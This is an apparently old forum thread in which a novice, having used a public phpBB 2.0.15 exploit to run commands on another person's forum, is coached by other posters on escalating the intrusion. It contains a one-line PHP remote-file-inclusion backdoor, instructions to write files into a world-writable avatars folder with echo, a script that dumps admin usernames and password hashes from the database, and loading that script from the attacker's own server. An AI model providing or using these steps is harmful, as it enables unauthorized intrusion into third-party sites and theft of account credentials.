Hello all first,
I'm reading this forum for a month or so trying to get a solution to hack a phpBB 2.0.15 forum...
Finlly found this exploit http://downloads.securityfocus.com/vulnerabilities/exploits/phpbb2_0_15.pl , figured out Perl allso, and the exploit works, after execution, ls comand works.
So the only thing I found on this forum was to "cat config.php"

so I did, and end up wit:
<?php

2


2


29
// phpBB 2.x auto-generated confi

29
// Do not change anything in this

2


12
$dbms = 'mysql';

2


18
$dbhost = 'localhost';

16
$dbname = 'theforumdbname';

16
$dbuser = 'thedbuser';

18
$dbpasswd = 'thedbpass';

2


1b
$table_prefix = 'phpbb_';

2


22
define('PHPBB_INSTALLED', true);

Ok, so now i have theforumdbname, thedbuser and thedbpass ... and? what to do next?
I see that the sql connection must be from localhost, but i don't have access to the server where the forum is hosted, and i don't know the phpmyadmin login page.
I'm pretty sure that the 'wget' command is disabled or something, because wgeting smth doesent work but "wget --version" does...
So I'm kinda stuck, and didn't find any answers on this forum, neighter on google...
If anyone can help me, I thank you in advance!
PS: Sorry for the poor english...

First, figure out in which directories you can write. Then write a shell or a script which connects to MySQL and prints you the username+hash.
What does "uname -a" and "id" say? And if it is *BSD you can also try "fetch" instead of "wget".

1. theforumdbname, thedbuser and thedbpass, I have replaced them on this post, in fact that exploit had shown me the real ones.
2. ls -l get's this:

I told you to execute "id". With this information you can look, which directories are writable for your user; otherwise look for chmod 777 (google, how to find it... e.g. /images/avatars).
1.: I know.
3.: In almost all linux utilities you can give the absolute path as parameter, so "pwd". Wink

chmod 777 - no efect what so ever, i think you must be admin-loged in order for that to work

the pwd result:

phpBB2.0.15> pwd

27
/hosting/www/www.domain.com-docs/forum

f
phpBB2.0.15>

the id result:

f
phpBB2.0.15> id

30
uid=81(apache) gid=81(apache) groups=81(apache)

and allso, horray!!! ^^^:

f
phpBB2.0.15> ls images -l

drwxrwxrwx 3 32028 web-user 4472 May 31 19:37 avatars

But what now? Confused

So you have php scripting level access + shell commands execution possibilities. Now you must write some simple upload php script directly to webserver (example - use 'echo "<php?....blablabla..." >> /hosting/www/www.domain.com-docs/forum/myupload.php' commands). And with upload script just upload whatever you need for next step - like root exploit, written in c language (if gcc is avaliable).
But as it seems to be shared (virtual) hosting, then I don't believe, that you can get that b0x r00ted Wink

Anyway - try "cat /proc/version" - for determine kernel version Smile

* Sory for the multi-post, but just tryied this:
Obviously the 'avatars' dir within the 'images' one has chmod 777:

phpBB2.0.15> ls images -l

9
total 13

drwxrwxrwx 3 32028 web-user 4472 May 31 19:37 avatars

phpBB2.0.15>





* So I try to upload some text file on the webserver:



f
phpBB2.0.15> wget http://mydomain.com/loghin/l.txt images/avatars/

f
phpBB2.0.15>


* And end up with nothing, 'cat' does nothing:



11
phpBB2.0.15> cat images/avatars/l.txt

f
phpBB2.0.15>


* And the avatars folder is full with jpegs:


f
phpBB2.0.15> ls images/avatars




* I'm doing something wrong? What else is there to do ?

Ok, i suggest to try to write 1 line long php script to webserver.
Maybe to avatars directory?
This php script contains only one line:

Code:

<?php include($r);?>


or

Code:

<?php include(stripslashes($_GET['r']));?>


How to write this script to server?
Try first some simple text file with "echo" command..
Like:

Code:

echo test >> /hosting/www/www.domain.com-docs/forum/images/avatars/test.txt


and if it works, you can see text file:

http://www.domain.com/forum/images/avatars/test.txt

In this way you can add text line by line to file!

And finally - when you have that one-line php script working, you can try:

http://www.domain.com/forum/images/avatars/test.php?r=http://www.yahoo.com

... and hopefully you will see yahoo page ...

This gives you possibility for remote file inclusion. So you can put some bigger php script to your own server and execute it in victim server.
Very simple script for admin password dumping:

Code:

<?php
error_reporting(E_ALL);
include('config.php');
$h=mysql_connect($dbhost,$dbuser,$dbpasswd);
mysql_select_db($dbname,$h);
$res=mysql_query("SELECT username,user_password FROM ".$table_prefix."users WHERE user_level=1",$h);
$row=mysql_fetch_row($res);
$un=$row[0];$pw=$row[1];
echo "$un:$pw";
?>


I wrote that and tested within 5 minutes and it works as expected;
Upload this script to your own server, then

http://www.domain.com/forum/images/avatars/test.php?r=http://www.yourownserver.com/myscript.php

and you will see first admin's username and password md5 hash, encountered in database.

Of course, you can write this bigger script right to victim server, passing remote inclusion tricks. It's your choice ...

ok, so,
Code:
echo test >> /hosting/www/www.domain.com-docs/forum/images/avatars/test.txt

makes the txt file but it contains the word test written several times, like this:
Code:
test
test
test
test
test
test
test
test
test
test
test
test
test
test
test
test
test


never the les, the command:

Code:
echo "<?php include(stripslashes($_GET['r']));?>" >> /hosting/www/www.domain.com-docs/forum/images/avatars/test.php


indeed creates the test.php fille, and after 'cat'-ing the images/avatars/test.php , i see the:

Code:
<?php include(stripslashes($_GET['r']));?>


written several times, and allso

Code:
http://www.domain.com/forum/images/avatars/test.php?r=http://www.yahoo.com


doesen't work...
I know this is the right track, but what now?

Probably "allow_url_fopen=0" Smile

Hmm, so you can try to construct this script:

Code:

<?php
error_reporting(E_ALL);
include('config.php');
$h=mysql_connect($dbhost,$dbuser,$dbpasswd);
mysql_select_db($dbname,$h);
$res=mysql_query("SELECT username,user_password FROM ".$table_prefix."users WHERE user_level=1",$h);
$row=mysql_fetch_row($res);
$un=$row[0];$pw=$row[1];
echo "$un:$pw";
?>


line by line.

As you know, "echo bla > x.txt" creates or overwrites file,
but "echo bla >> x.txt" adds one line to file. So you can build script line by line.

Sorry, but i had some ISP trouble and no internet connection...
Tryied again to connect to that forum, and worked, but the ls, cat, rm (only ones i've tested) commands doesent work anymore.
So i've echo a test.txt file where i knew was the chmd 777 (images/avatars), and when tryied to display it (http://theadress.com/forum/images/avatars/test.txt) worked!
So tryied this:
Code:

f
phpBB2.0.15> echo "<?php" >> /hosting/www/www.site.com-docs/forum/images/avata
rs/test.php

f
phpBB2.0.15> echo "error_reporting(E_ALL);" >> /hosting/www/www.site.com-docs/
forum/images/avatars/test.php

f
phpBB2.0.15> echo "include('config.php');" >> /hosting/www/www.site.com-docs/f
orum/images/avatars/test.php

f
phpBB2.0.15> echo "$h=mysql_connect($dbhost,$dbuser,$dbpasswd);" >> /hosting/www
/www.site.com-docs/forum/images/avatars/test.php

f
phpBB2.0.15> echo "mysql_select_db($dbname,$h);" >> /hosting/www/www.site.com-
docs/forum/images/avatars/test.php

f
phpBB2.0.15> echo "$res=mysql_query("SELECT username,user_password FROM ".$table
_prefix."users WHERE user_level=1",$h);" >> /hosting/www/www.site.com-docs/for
um/images/avatars/test.php

f
phpBB2.0.15> echo "$row=mysql_fetch_row($res);" >> /hosting/www/www.site.com-d
ocs/forum/images/avatars/test.php

f
phpBB2.0.15> echo "$un=$row[0];$pw=$row[1];" >> /hosting/www/www.site.com-docs
/forum/images/avatars/test.php

f
phpBB2.0.15> echo "echo "$un:$pw";" >> /hosting/www/www.site.com-docs/forum/im
ages/avatars/test.php

f
phpBB2.0.15> echo "?> " >> /hosting/www/www.site.com-docs/forum/images/avatars
/test.php

f
phpBB2.0.15>


but, what do you know? http://theadress.com/forum/images/avatars/test.php doesen't do nothing... Sad

I don't know what's happened from 2 days ago and why those commands don't work, and I allso don't know what am I doing wrong with the php code...
Code:

<?php
error_reporting(E_ALL);
include('config.php');
$h=mysql_connect($dbhost,$dbuser,$dbpasswd);
mysql_select_db($dbname,$h);
$res=mysql_query("SELECT username,user_password FROM ".$table_prefix."users WHERE user_level=1",$h);
$row=mysql_fetch_row($res);
$un=$row[0];$pw=$row[1];
echo "$un:$pw";
?>

Do I need to replace smth in the code? Because I had written it like it is...


Isn't there anything else I can do? Maybe use theforumdbname, thedbuser and thedbpass some how?

Yes, you have to change it.
If you knew, what you have been copying, you would know that "config.php" is included. And where is it? I'm sure, that it isn't in "images/avatars"... So set the path via ".." or use the absolute path.

I don't, remember? "Newbies corner".... Smile
So please tell me, I understand that I need to change this line:
Code:
include('config.php');


withe one of this (?):

Code:
include('/hosting/www/www.site.com-docs/forum/config.php');

Code:
include('http://www.site.com/forum/config.php');

?
And if so do I need to include the adress (wich one?) between
Code:
"
?

Thanks all for all the help, and I hope you'll answer me once more...
